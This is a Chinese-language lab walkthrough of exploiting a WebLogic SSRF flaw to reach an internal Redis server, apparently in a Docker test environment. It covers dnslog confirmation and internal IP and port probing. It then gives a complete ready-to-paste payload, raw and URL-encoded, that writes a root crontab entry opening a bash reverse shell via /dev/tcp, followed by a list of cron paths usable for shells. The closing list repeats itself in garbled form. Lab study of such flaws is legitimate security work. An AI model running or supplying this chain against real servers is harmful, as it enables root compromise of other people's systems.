SSRF 实例
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
测试环境搭建
编译及启动测试环境
sh
sudo docker compose up -d
访问http://10.9.75.58:7001/console
:
访问http://your-ip:7001/uddiexplorer/
,无需登录即可查看uddiexplorer应用:
点击Search Public Registries
,并点击searh
,进行抓包:
我们猜测url这里存在ssrf漏洞,我们验证一下:
首先获取一个域名,这里获得的域名为:budkzl.dnslog.cn
,然后把该域名放到抓取的url中,为了便于确认,在前面写上123.
:
查看是否能完成该DNS解析:
我们看到这里有请求,说明我们这里输入的url地址,它会替我们发送url请求,说明这里存在ssrf漏洞
我们查看一下这个响应包:
我们把url换成127.0.0.1,查看其响应:
有响应,说明127.0.0.1这个地址是存活的,然后根据报错信息得出:通过HTTP不能连接服务器的80端口,所以80端口没有开放
我们找一个现在一定开放的端口(7001端口)试一下:
状态码第一位数字决定了不同的响应状态,有如下:
1
>> 开始发送请求 >>消息
2
>> 请求发送完成 >>成功
3
>> 开始读取响应 >>重定向
4
>> 读取响应结束 >>请求错误
5
表示服务器错误
常见服务器状态码
200:服务器响应正常,并正确返回。
304:该目标资源在上次请求后没有任何修改(通常用于浏览器的缓存机制,使用GET请求时尤其需要注意)。
400:无法找到请求的资源,可能原因:
(1) 语义有误,当前请求无法被服务器理解。
(2) 请求参数有误。
401:要访问的目标资源的权限不够,或者说当前请求需要用户验证;
403:没有权限访问资源。
404:找不到访问的对象,或者要访问的目标资源不存在。
405:要访问的目标资源被禁止。
414:请求的URL太长。
500:服务器内部代码错误。
还是不清楚了,那我们可以对比一下7002端口(没有开放):
现在我们就可以对本机的ip做探测,目标一般开的是docker环境。
Weblogic的SSRF有一个比较大的特点,其虽然是一个"GET"请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.22.0.2:6379
可以连通:
将172.22.0.2输入到url请求中:
将172.21.0.1输入到url请求中:
这时,我们已经知道了172.22.0.2这个IP地址是存活的,那么我们可以判断有哪些端口是开放的
检测3389
(远程桌面)端口:
没有开放3389端口。
检测6379
(redis数据库)端口:
表示6379端口是开放的。并且没有回显
既然我们知道了redis数据库端口是开放的,我们也知道redis数据库存在未授权访问漏洞,我们可以利用其进行读写文件。
我们采用计划任务来获取反弹shell
sh
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/10.9.75.58/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
进行url编码:
sh
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.58%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
注意,换行符是"\r\n",也就是"%0D%0A"。
将url编码后的字符串放在ssrf的域名后面,发送:
sh
&operator=http://172.22.0.2:6379/gehuii%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.58%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aagehui
成功反弹shell:
补充:
最后补充一下,可进行利用的cron有如下几个地方:
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
tab 这个是肯定的- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件